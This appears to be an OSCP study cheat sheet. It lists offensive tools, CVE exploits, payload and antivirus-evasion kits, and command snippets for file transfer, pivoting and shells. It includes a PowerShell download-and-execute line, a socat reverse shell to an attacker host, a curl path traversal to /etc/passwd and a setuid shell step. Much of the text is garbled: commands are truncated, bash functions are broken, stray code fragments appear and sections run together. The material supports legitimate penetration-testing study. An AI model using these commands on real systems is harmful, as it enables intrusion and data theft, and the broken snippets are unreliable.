



# OSCP Cheat Sheet

---

commit activity 15/month

contributors 3

Commands, Payloads and Resources for the OffSec Certified Professional Certification (OSCP).

Since this little project get's more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. Feel free to submit a pull request or reach out to me on [Twitter](#) for suggestions.

Every help or hint is appreciated!

**DISCLAIMER:** A guy on Twitter got a point. Automatic exploitation tools like `sqlmap` are prohibited to use in the exam. The same goes for the automatic exploitation functionality of `LinPEAS`. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!

I removed `sqlmap` because of the reasons above but `Metasploit` is still part of the guide because you can use it for one specific module. Thank you **Muztahidul Tanim** for making me aware and to [Yeeb](#) for the resources.

Here are the link to the [OSCP Exam Guide](#) and the discussion about [LinPEAS](#). I hope this helps.

**END NOTE:** This repository will also try to cover as much as possible of the tools required for the proving grounds boxes.

Thank you for reading.

## Table of Contents

---

- [Basics](#)
- [Information Gathering](#)
- [Vulnerability Analysis](#)
- [Web Application Analysis](#)
- [Password Attacks](#)
- [Reverse Engineering](#)
- [Exploitation Tools](#)
- [Post Exploitation](#)
- [Exploit Databases](#)
- [CVEs](#)
- [Payloads](#)
- [Wordlists](#)
- [Social Media Resources](#)
- [Commands](#)
  - [Basics](#)
    - [curl](#)
    - [Chisel](#)
    - [File Transfer](#)
    - [FTP](#)
    - [Kerberos](#)
    - [Ligolo-ng](#)

- Linux
- Microsoft Windows
- PHP Webserver
- Ping
- Python Webserver
- RDP
- showmount
- smbclient
- socat
- SSH
- Time and Date
- Tmux
- Upgrading Shells
- VirtualBox
- virtualenv
- Information Gathering
  - memcached
  - NetBIOS
  - Nmap
  - Port Scanning
  - snmpwalk
- Web Application Analysis
  - Burp Suite
  - cadaver
  - Cross-Site Scripting (XSS)
  - ffuf
  - Gobuster
  - GitTools
  - Local File Inclusion (LFI)
  - PDF PHP Inclusion
  - PHP Upload Filter Bypasses
  - PHP Filter Chain Generator
  - PHP Generic Gadget Chains (PHPGGC)

- Server-Side Request Forgery (SSRF)
- Server-Side Template Injection (SSTI)
- Upload Vulnerabilities
- wfuzz
- WPScan
- XML External Entity (XXE)
- Database Analysis
  - MongoDB
  - MSSQL
  - MySQL
  - NoSQL Injection
  - PostgreSQL
  - Redis
  - sqlcmd
  - SQL Injection
  - SQL Truncation Attack
  - sqlite3
  - sqsh
- Password Attacks
  - CrackMapExec
  - fcrack
  - hashcat
  - Hydra
  - John
  - Kerbrute
  - LaZagne
  - mimikatz
  - pypykatz
- Exploitation Tools
  - ImageTragick
  - MSL / Polyglot Attack
  - Metasploit
- Post Exploitation

- Active Directory Certificate Services (AD CS)
- ADCSTemplate
- BloodHound
- BloodHound Python
- bloodyAD
- Certify
- Certipy
- enum4linux-ng
- Evil-WinRM
- Impacket
- JAWS
- Kerberos
- Idapsearch
- Linux
- Microsoft Windows
- PassTheCert
- PKINITtools
- Port Scanning
- powercat
- Powermad
- PowerShell
- pwncat
- rpcclient
- Rubeus
- RunasCs
- smbpasswd
- winexe
- CVE
  - CVE-2014-6271: Shellshock RCE PoC
  - CVE-2016-1531: exim LPE
  - CVE-2019-14287: Sudo Bypass
  - CVE-2020-1472: ZeroLogon PE
  - CVE-2021-3156: Sudo / sudoedit LPE

- CVE-2021-44228: Log4Shell RCE (0-day)
- CVE-2022-0847: Dirty Pipe LPE
- CVE-2022-22963: Spring4Shell RCE (0-day)
- CVE-2022-30190: MS-MSDT Follina RCE
- CVE-2022-31214: Firejail LPE
- CVE-2023-21746: Windows NTLM EoP LocalPotato LPE
- CVE-2023-22809: Sudo Bypass
- CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)
- CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
- CVE-2023-4911: Looney Tunables LPE
- GodPotato LPE
- Juicy Potato LPE
- JuicyPotatoNG LPE
- MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
- PrintSpoofer LPE
- SharpEfsPotato LPE
- Shocker Container Escape
- Payloads
  - Donut
  - Exiftool
  - GhostScript
  - nishang
  - Reverse Shells
  - ScareCrow
  - Shikata Ga Nai
  - Web Shells
  - ysoserial
- Templates
  - ASPX Web Shell
  - Bad YAML
  - Exploit Skeleton Python Script

- [JSON POST Rrequest](#)
- [Python Pickle RCE](#)
- [Python Redirect for SSRF](#)
- [Python Web Request](#)
- [XML External Entity \(XXE\)](#)

## Basics

Name	URL
Chisel	<a href="https://tinyurl.com/z6yl32k">https://tinyurl.com/z6yl32k</a>
CyberChef	<a href="https://tinyurl.com/h8hf4uc">https://tinyurl.com/h8hf4uc</a>
Swaks	<a href="https://tinyurl.com/ytqrw96w">https://tinyurl.com/ytqrw96w</a>

## Information Gathering

Name	URL
Nmap	<a href="https://tinyurl.com/9og4655">https://tinyurl.com/9og4655</a>

## Vulnerability Analysis

Name	URL
nikto	<a href="https://tinyurl.com/pu28ujz">https://tinyurl.com/pu28ujz</a>
Sparta	<a href="https://tinyurl.com/n24hfeb">https://tinyurl.com/n24hfeb</a>

## Web Application Analysis

Name	URL
ffuf	<a href="https://tinyurl.com/2e5nyvw8">https://tinyurl.com/2e5nyvw8</a>
fpmvuln	<a href="https://tinyurl.com/ys38zw8w">https://tinyurl.com/ys38zw8w</a>
Gobuster	<a href="https://tinyurl.com/y2bqjxcj">https://tinyurl.com/y2bqjxcj</a>
JSON Web Tokens	<a href="https://tinyurl.com/y3xmvqup">https://tinyurl.com/y3xmvqup</a>

JWT_Tool	<a href="https://tinyurl.com/2ry85jf7">https://tinyurl.com/2ry85jf7</a>
Leaky Paths	<a href="https://tinyurl.com/yman7qqf">https://tinyurl.com/yman7qqf</a>
PayloadsAllTheThings	<a href="https://tinyurl.com/y4ezgl4c">https://tinyurl.com/y4ezgl4c</a>
PHP Filter Chain Generator	<a href="https://tinyurl.com/yv3gjun7">https://tinyurl.com/yv3gjun7</a>
PHPGGC	<a href="https://tinyurl.com/yaz8sz94">https://tinyurl.com/yaz8sz94</a>
Spose	<a href="https://tinyurl.com/ynlscezd">https://tinyurl.com/ynlscezd</a>
Wfuzz	<a href="https://tinyurl.com/psuc9d9">https://tinyurl.com/psuc9d9</a>
WhatWeb	<a href="https://tinyurl.com/7u2t8h9">https://tinyurl.com/7u2t8h9</a>
WPScan	<a href="https://tinyurl.com/kc9zypf">https://tinyurl.com/kc9zypf</a>
ysoserial	<a href="https://tinyurl.com/q4x2gct">https://tinyurl.com/q4x2gct</a>

## Password Attacks

Name	URL
CrackMapExec	<a href="https://tinyurl.com/ngzqxs2">https://tinyurl.com/ngzqxs2</a>
Default Credentials Cheat Sheet	<a href="https://tinyurl.com/2mbz9hdk">https://tinyurl.com/2mbz9hdk</a>
Firefox Decrypt	<a href="https://tinyurl.com/y5dzosvz">https://tinyurl.com/y5dzosvz</a>
hashcat	<a href="https://tinyurl.com/ytbkp2hp">https://tinyurl.com/ytbkp2hp</a>
Hydra	<a href="https://tinyurl.com/podb3lg">https://tinyurl.com/podb3lg</a>
John	<a href="https://tinyurl.com/2yquyysj">https://tinyurl.com/2yquyysj</a>
keepass-dump-masterkey	<a href="https://tinyurl.com/ypwg5xh2">https://tinyurl.com/ypwg5xh2</a>
KeePwn	<a href="https://tinyurl.com/yq8uco5o">https://tinyurl.com/yq8uco5o</a>
Kerbrute	<a href="https://tinyurl.com/y66kz8ad">https://tinyurl.com/y66kz8ad</a>
LaZagne	<a href="https://tinyurl.com/m9k4zzr">https://tinyurl.com/m9k4zzr</a>
mimikatz	<a href="https://tinyurl.com/qdf539r">https://tinyurl.com/qdf539r</a>
Patator	<a href="https://tinyurl.com/onz6ly9">https://tinyurl.com/onz6ly9</a>



pypykatz	<a href="https://tinyurl.com/yxp3rds4">https://tinyurl.com/yxp3rds4</a>
RsaCtfTool	<a href="https://tinyurl.com/ybvm97ey">https://tinyurl.com/ybvm97ey</a>
SprayingToolkit	<a href="https://tinyurl.com/2yzbkw8x">https://tinyurl.com/2yzbkw8x</a>

## Reverse Engineering

Name	URL
AvalonialLSpy	<a href="https://tinyurl.com/ywez6rvy">https://tinyurl.com/ywez6rvy</a>
binwalk	<a href="https://tinyurl.com/ycgf2rn2">https://tinyurl.com/ycgf2rn2</a>
cutter	<a href="https://tinyurl.com/ypy6duxm">https://tinyurl.com/ypy6duxm</a>
dnSpy	<a href="https://tinyurl.com/y7k9r2zy">https://tinyurl.com/y7k9r2zy</a>
GEF	<a href="https://tinyurl.com/nmtak2c">https://tinyurl.com/nmtak2c</a>
ghidra	<a href="https://tinyurl.com/y5ojpa5p">https://tinyurl.com/y5ojpa5p</a>
ImHex	<a href="https://tinyurl.com/y32bgpm9">https://tinyurl.com/y32bgpm9</a>
JD-GUI	<a href="https://tinyurl.com/yo3wyung">https://tinyurl.com/yo3wyung</a>
peda	<a href="https://tinyurl.com/ohx63nb">https://tinyurl.com/ohx63nb</a>
pwndbg	<a href="https://tinyurl.com/z5np3re">https://tinyurl.com/z5np3re</a>
Radare2	<a href="https://tinyurl.com/y3tvmeoq">https://tinyurl.com/y3tvmeoq</a>

## Exploitation Tools

Name	URL
Evil-WinRM	<a href="https://tinyurl.com/yyj7vkrq">https://tinyurl.com/yyj7vkrq</a>
ImageTragick	<a href="https://tinyurl.com/ycm9mqcs">https://tinyurl.com/ycm9mqcs</a>
Metasploit	<a href="https://tinyurl.com/d3kqjuo">https://tinyurl.com/d3kqjuo</a>
MSL / Polyglot Attack	<a href="https://tinyurl.com/y3qzu9oa">https://tinyurl.com/y3qzu9oa</a>

## Post Exploitation

Name	URL
ADCSKiller - An ADCS Exploitation Automation Tool	<a href="https://tinyurl.com/2xa2la3z">https://tinyurl.com/2xa2la3z</a>
ADCSTemplate	<a href="https://tinyurl.com/yp89grdv">https://tinyurl.com/yp89grdv</a>
BloodHound Docker	<a href="https://tinyurl.com/ypzjy87j">https://tinyurl.com/ypzjy87j</a>
BloodHound	<a href="https://tinyurl.com/y2s37jeg">https://tinyurl.com/y2s37jeg</a>
BloodHound	<a href="https://tinyurl.com/ymc3svna">https://tinyurl.com/ymc3svna</a>
BloodHound Python	<a href="https://tinyurl.com/ybsrj8pt">https://tinyurl.com/ybsrj8pt</a>
Certify	<a href="https://tinyurl.com/267b27re">https://tinyurl.com/267b27re</a>
Certipy	<a href="https://tinyurl.com/2c3ltmmt">https://tinyurl.com/2c3ltmmt</a>
enum4linux-ng	<a href="https://tinyurl.com/ymbmo3kr">https://tinyurl.com/ymbmo3kr</a>
Ghostpack-CompiledBinaries	<a href="https://tinyurl.com/ym88zaxv">https://tinyurl.com/ym88zaxv</a>
GTFOBins	<a href="https://tinyurl.com/yccgv6ks">https://tinyurl.com/yccgv6ks</a>
Impacket	<a href="https://tinyurl.com/243wq45x">https://tinyurl.com/243wq45x</a>
Impacket Static Binaries	<a href="https://tinyurl.com/ya5yzamu">https://tinyurl.com/ya5yzamu</a>
JAWS	<a href="https://tinyurl.com/223k2krg">https://tinyurl.com/223k2krg</a>
KrbRelay	<a href="https://tinyurl.com/yw8bodx9">https://tinyurl.com/yw8bodx9</a>
KrbRelayUp	<a href="https://tinyurl.com/2746ujpv">https://tinyurl.com/2746ujpv</a>
Krbrelayx	<a href="https://tinyurl.com/2bk3fjy5">https://tinyurl.com/2bk3fjy5</a>
LAPSDumper	<a href="https://tinyurl.com/287cdjlq">https://tinyurl.com/287cdjlq</a>
LES	<a href="https://tinyurl.com/yszscubjb">https://tinyurl.com/yszscubjb</a>
LinEnum	<a href="https://tinyurl.com/lxhk642">https://tinyurl.com/lxhk642</a>
LOLBAS	<a href="https://tinyurl.com/ypalagrk">https://tinyurl.com/ypalagrk</a>
Isassy	<a href="https://tinyurl.com/ygbh2wp6">https://tinyurl.com/ygbh2wp6</a>

CVE-2022-22963	Spring4Shell RCE (0-day)	<a href="https://tinyurl.com/ytkpunmc">https://tinyurl.com/ytkpunmc</a>
CVE-2022-23119,CVE-2022-23120	Trend Micro Deep Security Agent for Linux Arbitrary File Read	<a href="https://tinyurl.com/yupgsjay">https://tinyurl.com/yupgsjay</a>
CVE-2022-24715	Icinga Web 2 Authenticated Remote Code Execution RCE	<a href="https://tinyurl.com/ypsf9wrp">https://tinyurl.com/ypsf9wrp</a>
CVE-2022-26134	ConfluentPwn RCE (0-day)	<a href="https://tinyurl.com/yns7jz6s">https://tinyurl.com/yns7jz6s</a>
CVE-2022-30190	MS-MSDT Follina Attack Vector RCE	<a href="https://tinyurl.com/23hee338">https://tinyurl.com/23hee338</a>
CVE-2022-30190	MS-MSDT Follina RCE PoC	<a href="https://tinyurl.com/ykqytppe">https://tinyurl.com/ykqytppe</a>
CVE-2022-30190	MS-MSDT Follina RCE (Python Implementation)	<a href="https://tinyurl.com/ynzqbrz6">https://tinyurl.com/ynzqbrz6</a>
CVE-2022-31214	Firejail / Firejoin LPE	<a href="https://tinyurl.com/yl9bg39s">https://tinyurl.com/yl9bg39s</a>
CVE-2022-31214	Firejail / Firejoin LPE	<a href="https://tinyurl.com/yo2v7szj">https://tinyurl.com/yo2v7szj</a>
CVE-2022-34918	Netfilter Kernel Exploit LPE	<a href="https://tinyurl.com/yvutxoye">https://tinyurl.com/yvutxoye</a>
CVE-2022-46169	Cacti Authentication Bypass RCE	<a href="https://tinyurl.com/ymfqxc7f">https://tinyurl.com/ymfqxc7f</a>
CVE-2023-21716	CVE-2023-21716: Microsoft Word RTF Font Table Heap Corruption RCE PoC (Python Implementation)	<a href="https://tinyurl.com/ylj6smyx">https://tinyurl.com/ylj6smyx</a>
CVE-2023-21746	Windows NTLM EoP LocalPotato LPE	<a href="https://tinyurl.com/ysjn82mr">https://tinyurl.com/ysjn82mr</a>

CVE-2023-21768	Windows Ancillary Function Driver for WinSock LPE POC	<a href="https://tinyurl.com/yrzdgxmy">https://tinyurl.com/yrzdgxmy</a>
CVE-2023-21817	Kerberos Unlock LPE PoC	<a href="https://tinyurl.com/yqtw4ftq">https://tinyurl.com/yqtw4ftq</a>
CVE-2023-22809	sudoedit LPE	<a href="https://tinyurl.com/yn22klk9">https://tinyurl.com/yn22klk9</a>
CVE-2023-23397	Microsoft Outlook (Click-to-Run) PE (0-day)	<a href="https://tinyurl.com/yt84jkf2">https://tinyurl.com/yt84jkf2</a>
CVE-2023-23397	Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)	<a href="https://tinyurl.com/ytw4r8m7">https://tinyurl.com/ytw4r8m7</a>
CVE-2023-23397	Microsoft Outlook (Click-to-Run) PE (0-day) (Python Implementation)	<a href="https://tinyurl.com/yr99sezo">https://tinyurl.com/yr99sezo</a>
CVE-2023-25690	Apache mod_proxy HTTP Request Smuggling PoC	<a href="https://tinyurl.com/yowrwnad">https://tinyurl.com/yowrwnad</a>
CVE-2023-28879	Shell in the Ghost: Ghostscript RCE PoC	<a href="https://tinyurl.com/yn7zxx2f">https://tinyurl.com/yn7zxx2f</a>
CVE-2023-32233	Use-After-Free in Netfilter nf_tables LPE	<a href="https://tinyurl.com/yqp4wdzb">https://tinyurl.com/yqp4wdzb</a>
CVE-2023-32629, CVE-2023-2640	GameOverlay Ubuntu Kernel Exploit LPE (0-day)	<a href="https://tinyurl.com/2x529wjt">https://tinyurl.com/2x529wjt</a>
CVE-2023-36874	Windows Error Reporting Service LPE (0-day)	<a href="https://tinyurl.com/yod47zs3">https://tinyurl.com/yod47zs3</a>
n/a	dompdf RCE (0-day)	<a href="https://tinyurl.com/yuxao3cz">https://tinyurl.com/yuxao3cz</a>

n/a	dompdf XSS to RCE (0-day)	<a href="https://tinyurl.com/ykvvdvw3">https://tinyurl.com/ykvvdvw3</a>
n/a	StorSvc LPE	<a href="https://tinyurl.com/yoszh6zz">https://tinyurl.com/yoszh6zz</a>
n/a	DCOMPotato LPE	<a href="https://tinyurl.com/ywlpnlof">https://tinyurl.com/ywlpnlof</a>
n/a	GenericPotato LPE	<a href="https://tinyurl.com/yus69d92">https://tinyurl.com/yus69d92</a>
n/a	GodPotato LPE	<a href="https://tinyurl.com/2a3qo93f">https://tinyurl.com/2a3qo93f</a>
n/a	JuicyPotato LPE	<a href="https://tinyurl.com/ybokbztq">https://tinyurl.com/ybokbztq</a>
n/a	Juice-PotatoNG LPE	<a href="https://tinyurl.com/2dq9ve6n">https://tinyurl.com/2dq9ve6n</a>
n/a	MultiPotato LPE	<a href="https://tinyurl.com/25ykdfoc">https://tinyurl.com/25ykdfoc</a>
n/a	RemotePotato0 PE	<a href="https://tinyurl.com/yfbvx5ex">https://tinyurl.com/yfbvx5ex</a>
n/a	RoguePotato LPE	<a href="https://tinyurl.com/2863etm8">https://tinyurl.com/2863etm8</a>
n/a	RottenPotatoNG LPE	<a href="https://tinyurl.com/ya4shaht">https://tinyurl.com/ya4shaht</a>
n/a	SharpEfsPotato LPE	<a href="https://tinyurl.com/ymoyb85q">https://tinyurl.com/ymoyb85q</a>
n/a	SweetPotato LPE	<a href="https://tinyurl.com/26gksp5m">https://tinyurl.com/26gksp5m</a>
n/a	SweetPotato LPE	<a href="https://tinyurl.com/ypogekl9">https://tinyurl.com/ypogekl9</a>
n/a	S4UTomato LPE	<a href="https://tinyurl.com/ylvah6ln">https://tinyurl.com/ylvah6ln</a>
n/a	PrintSpoofer LPE (1)	<a href="https://tinyurl.com/ypcgaqhn">https://tinyurl.com/ypcgaqhn</a>
n/a	PrintSpoofer LPE (2)	<a href="https://tinyurl.com/yw7rvx9n">https://tinyurl.com/yw7rvx9n</a>
n/a	Shocker Container Escape	<a href="https://tinyurl.com/k9h45xr">https://tinyurl.com/k9h45xr</a>
n/a	SystemNightmare PE	<a href="https://tinyurl.com/yhty6n9d">https://tinyurl.com/yhty6n9d</a>
n/a	NoFilter LPE	<a href="https://tinyurl.com/ywx49muw">https://tinyurl.com/ywx49muw</a>
n/a	OfflineSAM LPE	<a href="https://tinyurl.com/ypzgcnjg">https://tinyurl.com/ypzgcnjg</a>
n/a	OfflineAddAdmin2 LPE	<a href="https://tinyurl.com/ypzgcnjg/OfflineAddAdmin2">https://tinyurl.com/ypzgcnjg/OfflineAddAdmin2</a>
n/a	Kernelhub	<a href="https://tinyurl.com/yso389vq">https://tinyurl.com/yso389vq</a>

n/a	Windows Exploits	<a href="https://tinyurl.com/yyhlsjdm">https://tinyurl.com/yyhlsjdm</a>
n/a	Pre-compiled Windows Exploits	<a href="https://tinyurl.com/ya95cf93">https://tinyurl.com/ya95cf93</a>

## Payloads

Name	URL
AMSI.fail	<a href="https://tinyurl.com/yv44ju36">https://tinyurl.com/yv44ju36</a>
Donut	<a href="https://tinyurl.com/26tw6g8p">https://tinyurl.com/26tw6g8p</a>
Freeze	<a href="https://tinyurl.com/2djf5w9d">https://tinyurl.com/2djf5w9d</a>
hoaxshell	<a href="https://tinyurl.com/295mlft5">https://tinyurl.com/295mlft5</a>
Invoke-Obfuscation	<a href="https://tinyurl.com/lr4ekst">https://tinyurl.com/lr4ekst</a>
marshalsec	<a href="https://tinyurl.com/yb7bsz26">https://tinyurl.com/yb7bsz26</a>
nishang	<a href="https://tinyurl.com/y22f77lj">https://tinyurl.com/y22f77lj</a>
Payload Box	<a href="https://tinyurl.com/ykdy65tn">https://tinyurl.com/ykdy65tn</a>
PayloadsAllTheThings	<a href="https://tinyurl.com/y4ezgl4c">https://tinyurl.com/y4ezgl4c</a>
phpgcc	<a href="https://tinyurl.com/yaz8sz94">https://tinyurl.com/yaz8sz94</a>
PHP-Reverse-Shell	<a href="https://tinyurl.com/ysl8hdnj">https://tinyurl.com/ysl8hdnj</a>
PowerLine	<a href="https://tinyurl.com/yp3lzx7n">https://tinyurl.com/yp3lzx7n</a>
PowerShell Encoder (CyberChef)	[Receipe for encoding PowerShell Payloads for Windows] ( <a href="https://tinyurl.com/ytrnyml6#recipe=Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')">https://tinyurl.com/ytrnyml6#recipe=Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')</a> )
Raikia's Hub Powershell Encoder	<a href="https://tinyurl.com/y3zhk99t">https://tinyurl.com/y3zhk99t</a>
ScareCrow	<a href="https://tinyurl.com/y2467n9h">https://tinyurl.com/y2467n9h</a>
Shikata Ga Nai	<a href="https://tinyurl.com/y9b9hs4z">https://tinyurl.com/y9b9hs4z</a>
unicorn	<a href="https://tinyurl.com/p6kfz6k">https://tinyurl.com/p6kfz6k</a>

Veil	<a href="https://tinyurl.com/ycheeggz2">https://tinyurl.com/ycheeggz2</a>
webshell	<a href="https://tinyurl.com/y8m8pbyx">https://tinyurl.com/y8m8pbyx</a>
Web-Shells	<a href="https://tinyurl.com/yIm8lwaf">https://tinyurl.com/yIm8lwaf</a>
woodpecker	<a href="https://tinyurl.com/y3opm9dq">https://tinyurl.com/y3opm9dq</a>
ysoserial	<a href="https://tinyurl.com/q4x2gct">https://tinyurl.com/q4x2gct</a>
ysoserial.net	<a href="https://tinyurl.com/yvejhaeu">https://tinyurl.com/yvejhaeu</a>

## Wordlists

Name	URL
bopscrk	<a href="https://tinyurl.com/yIkz2jxh">https://tinyurl.com/yIkz2jxh</a>
CeWL	<a href="https://tinyurl.com/ymq4a4q5">https://tinyurl.com/ymq4a4q5</a>
COOK	<a href="https://tinyurl.com/yww7z4r9">https://tinyurl.com/yww7z4r9</a>
CUPP	<a href="https://tinyurl.com/y75okmhy">https://tinyurl.com/y75okmhy</a>
Kerberos Username Enumeration	<a href="https://tinyurl.com/ykb3hbzh">https://tinyurl.com/ykb3hbzh</a>
SecLists	<a href="https://tinyurl.com/luzosh8">https://tinyurl.com/luzosh8</a>

## Social Media Resources

Name	URL
IppSec (YouTube)	<a href="https://tinyurl.com/y8qpg2ll">https://tinyurl.com/y8qpg2ll</a>
IppSec.rocks	<a href="https://tinyurl.com/yo49epz3#">https://tinyurl.com/yo49epz3#</a>
Oxdf	<a href="https://tinyurl.com/ytap82my">https://tinyurl.com/ytap82my</a>
HackTricks	<a href="https://tinyurl.com/2gzgwhv4">https://tinyurl.com/2gzgwhv4</a>
Hacking Articles	<a href="https://tinyurl.com/yn8wokj3">https://tinyurl.com/yn8wokj3</a>
Rana Khalil	<a href="https://tinyurl.com/2onufexo">https://tinyurl.com/2onufexo</a>

# Commands

---

## Basics

### curl

```
curl -v http://<DOMAIN> // v:
curl -X POST http://<DOMAIN> // u:
curl -X PUT http://<DOMAIN> // u:
curl --path-as-is http://<DOMAIN>/../../../../../../../../etc/passwd // u:
curl --proxy https://tinyurl.com/hdorn /
curl -F myFile=@<FILE> http://<RHOST> // f:
curl${IFS}<LHOST>/<FILE> // I:
```

## Chisel

### Reverse Pivot

```
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000
```

### SOCKS5 / Proxychains Configuration

```
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socks
```

## File Transfer

### Certutil

```
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
```

### Netcat

```
nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>
```



## Impacket

```
sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>
```

## PowerShell

```
iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C
```

## Bash only

### wget version

Paste directly to the shell.

```
function __wget() {
    : ${DEBUG:=0}
    local URL=$1
    local tag="Connection: close"
    local mark=0

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s https://tinyurl.com/ynpju2wt" \
            "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi
    read proto server path <<<$(echo ${URL}//// } )
    DOC=${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    [[ $DEBUG -eq 1 ]] && echo "HOST=${HOST}"
    [[ $DEBUG -eq 1 ]] && echo "PORT=${PORT}"
    [[ $DEBUG -eq 1 ]] && echo "DOC =${DOC}"

    exec 3<>/dev/tcp/${HOST}/${PORT}
    echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
    while read line; do
        [[ $mark -eq 1 ]] && echo $line
        if [[ "${line}" =~ "${tag}" ]]; then
            mark=1
        fi
    done
}
```

```

    fi
done <&3
exec 3>&-
}

```

```
__wget http://<LHOST>/<FILE>
```

## curl version

```

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/${PORT}
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
    [[ "$line" == '\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

```

```
__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>
```

## FTP

```

ftp <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>

```

## Kerberos

```
sudo apt-get install krb5-kdc
```

```

impacket-getTGT <DOMAIN>/<USERNAME>:'<PASSWORD>'
export KRB5CCNAME=<FILE>.ccache
export KRB5CCNAME='realpath <FILE>.ccache'

```

```
/etc/krb5.conf // kerberos configuration file location
kinit <USERNAME> // creating ticket request
klist // show available kerberos tickets
kdestroy // delete cached kerberos tickets
.k5login // resides kerberos principals for login (place in
krb5.keytab // "key table" file for one or more principals
kadmind // kerberos administration console
add_principal <EMAIL> // add a new user to a keytab file
ksu // executes a command with kerberos authentication
klist -k /etc/krb5.keytab // lists keytab file
kadmind -p kadmind/<EMAIL> -k -t /etc/krb5.keytab // enables editing of the keytab
```

## Ligolo-ng

<https://tinyurl.com/25rtqzlc>

### Download Proxy and Agent

```
wget https://tinyurl.com/25rtqzlc/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Li
wget https://tinyurl.com/25rtqzlc/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Li
```

### Prepare Tunnel Interface

```
sudo ip tuntap add user $(whoami) mode tun ligolo
```

```
sudo ip link set ligolo up
```

### Setup Proxy on Attacker Machine

```
./proxy -laddr <LHOST>:443 -selfcert
```

### Setup Agent on Target Machine

```
./agent -connect <LHOST>:443 -ignore-cert
```

## Session

```
ligolo-ng » session
```

```
[Agent : user@target] » ifconfig
```

```
sudo ip r add 172.16.1.0/24 dev ligolo
```

```
[Agent : user@target] » start
```

## Linux

### CentOS

```
doas -u <USERNAME> /bin/sh
```

### Environment Variables

```
export PATH=`pwd`:$PATH
```

### gcc

```
gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit  
i686-w64-mingw32-gcc -o main32.exe main.c  
x86_64-w64-mingw32-gcc -o main64.exe main.c
```

### getfacl

```
getfacl <LOCAL_DIRECTORY>
```

### iconv

```
echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0  
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0  
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"
```

## vi

```
:w !sudo tee % # save file with elevated privileges without exiting
```

## Windows Command Formatting

```
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
```

## Microsoft Windows

### dir

```
dir flag* /s /p  
dir /s /b *.log
```

## PHP Webserver

```
sudo php -S 127.0.0.1:80
```

## Ping

```
ping -c 1 <RHOST>  
ping -n 1 <RHOST>
```

## Python Webserver

```
sudo python -m SimpleHTTPServer 80  
sudo python3 -m http.server 80
```

## RDP

```
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard  
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +cl:  
rdesktop <RHOST>
```

## showmount

```

/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shell

```

## smbclient

```

smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ///<RHOST>/ -N
smbclient -U "<USERNAME>" -L \\<RHOST>\
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\<RHOST>\<SHARE>"
smbclient \\<RHOST>\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_I
smbclient --no-pass //<RHOST>/<SHARE>
mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v

```

## Download multiple files at once

```

mask''''
recurse ON
prompt OFF
mget *

```

## Upload multiple Files at once

```

recurse ON
prompt OFF
mput *

```

## socat

```

socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>

```

```

socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>

```

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>
```

```
socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
```

```
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &
```

## SSH

```
ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1
```

```
ssh -R 8080:<LHOST>:80 <RHOST>
```

```
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
```

```
